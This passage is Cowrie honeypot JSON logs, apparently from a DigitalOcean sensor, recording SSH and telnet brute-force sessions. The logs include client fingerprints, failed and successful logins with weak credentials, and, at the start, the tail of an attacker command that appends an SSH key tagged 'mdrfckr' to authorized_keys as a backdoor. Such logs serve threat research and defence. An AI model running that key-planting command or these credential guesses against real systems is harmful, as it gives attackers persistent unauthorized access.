AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:25:06.994021Z","src_ip":"106.75.222.164","session":"95dd4be37a23","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:25:07.257198Z","src_ip":"106.75.222.164","session":"95dd4be37a23","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:25:07.261149Z","src_ip":"106.75.222.164","session":"95dd4be37a23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.75.222.164","src_port":53808,"dst_ip":"10.17.0.5","dst_port":22,"session":"c13af6e299b7","protocol":"ssh","message":"New connection: 106.75.222.164:53808 (10.17.0.5:22) [session: c13af6e299b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:25:07.502609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:25:07.508003Z","src_ip":"106.75.222.164","session":"c13af6e299b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:25:07.514077Z","src_ip":"103.13.206.208","session":"0e329c7bc559","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:25:07.762321Z","src_ip":"106.75.222.164","session":"c13af6e299b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.114.125","src_port":48834,"dst_ip":"159.203.135.109","dst_port":23,"session":"37446d059641","protocol":"telnet","message":"New connection: 154.16.114.125:48834 (159.203.135.109:23) [session: 37446d059641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:25:08.878607Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":60080,"dst_ip":"159.203.135.109","dst_port":22,"session":"655e8d869afb","protocol":"ssh","message":"New connection: 122.168.114.167:60080 (159.203.135.109:22) [session: 655e8d869afb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:25:11.871240Z"}
{"eventid":"cowrie.session.connect","src_ip":"106.75.222.164","src_port":60954,"dst_ip":"10.17.0.5","dst_port":22,"session":"3eee3bd54654","protocol":"ssh","message":"New connection: 106.75.222.164:60954 (10.17.0.5:22) [session: 3eee3bd54654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:25:13.531976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:25:13.536886Z","src_ip":"106.75.222.164","session":"3eee3bd54654","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:25:13.555011Z","src_ip":"122.168.114.167","session":"655e8d869afb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:25:13.559172Z","src_ip":"122.168.114.167","session":"655e8d869afb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":6938,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b6c02fa6618","protocol":"ssh","message":"New connection: 159.223.45.177:6938 (159.203.135.109:22) [session: 2b6c02fa6618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:25:13.829552Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:25:14.528233Z","src_ip":"106.75.222.164","session":"3eee3bd54654","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:25:15.595291Z","src_ip":"106.75.222.164","session":"3eee3bd54654","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:25:15.859054Z","src_ip":"106.75.222.164","session":"3eee3bd54654","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:25:16.614754Z","src_ip":"159.223.45.177","session":"2b6c02fa6618","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app","message":"login attempt [app/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:25:22.540305Z","src_ip":"122.168.114.167","session":"655e8d869afb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.3","message":"Connection lost after 14.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:25:26.153024Z","src_ip":"122.168.114.167","session":"655e8d869afb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":47976,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f05a85225d4","protocol":"telnet","message":"New connection: 185.26.126.47:47976 (159.203.135.109:23) [session: 6f05a85225d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:25:28.047123Z"}
{"eventid":"cowrie.session.closed","duration":37.47137379646301,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:25:46.349840Z","src_ip":"154.16.114.125","session":"37446d059641","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":34258,"dst_ip":"159.203.135.109","dst_port":22,"session":"45b2a5b3c6a4","protocol":"ssh","message":"New connection: 122.168.114.167:34258 (159.203.135.109:22) [session: 45b2a5b3c6a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:25:48.692827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:25:51.164595Z","src_ip":"122.168.114.167","session":"45b2a5b3c6a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:25:51.167559Z","src_ip":"122.168.114.167","session":"45b2a5b3c6a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"user2","message":"login attempt [user2/user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:25:59.771598Z","src_ip":"122.168.114.167","session":"45b2a5b3c6a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.3","message":"Connection lost after 14.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:26:02.947370Z","src_ip":"122.168.114.167","session":"45b2a5b3c6a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.114.22.126","src_port":59380,"dst_ip":"10.17.0.5","dst_port":22,"session":"59b41d489166","protocol":"ssh","message":"New connection: 210.114.22.126:59380 (10.17.0.5:22) [session: 59b41d489166]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:26:17.404499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:26:17.412877Z","src_ip":"210.114.22.126","session":"59b41d489166","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:26:17.700649Z","src_ip":"210.114.22.126","session":"59b41d489166","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deploy","message":"login attempt [root/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:26:19.708849Z","src_ip":"210.114.22.126","session":"59b41d489166","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:26:21.108108Z","src_ip":"210.114.22.126","session":"59b41d489166","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.597362995147705,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:26:24.644380Z","src_ip":"185.26.126.47","session":"6f05a85225d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.177.81.187","src_port":49052,"dst_ip":"159.203.135.109","dst_port":23,"session":"22bf7b145a25","protocol":"telnet","message":"New connection: 45.177.81.187:49052 (159.203.135.109:23) [session: 22bf7b145a25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:26:24.930476Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.208","src_port":57760,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d5a156cc8ed","protocol":"ssh","message":"New connection: 103.13.206.208:57760 (159.203.135.109:22) [session: 5d5a156cc8ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:26:27.299958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:26:27.303759Z","src_ip":"103.13.206.208","session":"5d5a156cc8ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:26:27.536429Z","src_ip":"103.13.206.208","session":"5d5a156cc8ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Pa$$w0rd","message":"login attempt [ubuntu/Pa$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:26:28.498002Z","src_ip":"103.13.206.208","session":"5d5a156cc8ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:26:29.731523Z","src_ip":"103.13.206.208","session":"5d5a156cc8ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.177.81.187","src_port":50928,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c3d133e9266","protocol":"telnet","message":"New connection: 45.177.81.187:50928 (159.203.135.109:23) [session: 8c3d133e9266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:26:30.959331Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":36662,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebc26e422064","protocol":"ssh","message":"New connection: 122.168.114.167:36662 (159.203.135.109:22) [session: ebc26e422064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:26:31.692379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:26:32.931546Z","src_ip":"122.168.114.167","session":"ebc26e422064","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:26:32.935211Z","src_ip":"122.168.114.167","session":"ebc26e422064","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops","message":"login attempt [devops/devops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:26:39.649407Z","src_ip":"122.168.114.167","session":"ebc26e422064","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"31.2","message":"Connection lost after 31.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:27:02.889408Z","src_ip":"122.168.114.167","session":"ebc26e422064","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:27:07.508199Z","src_ip":"106.75.222.164","session":"c13af6e299b7","protocol":"ssh"}
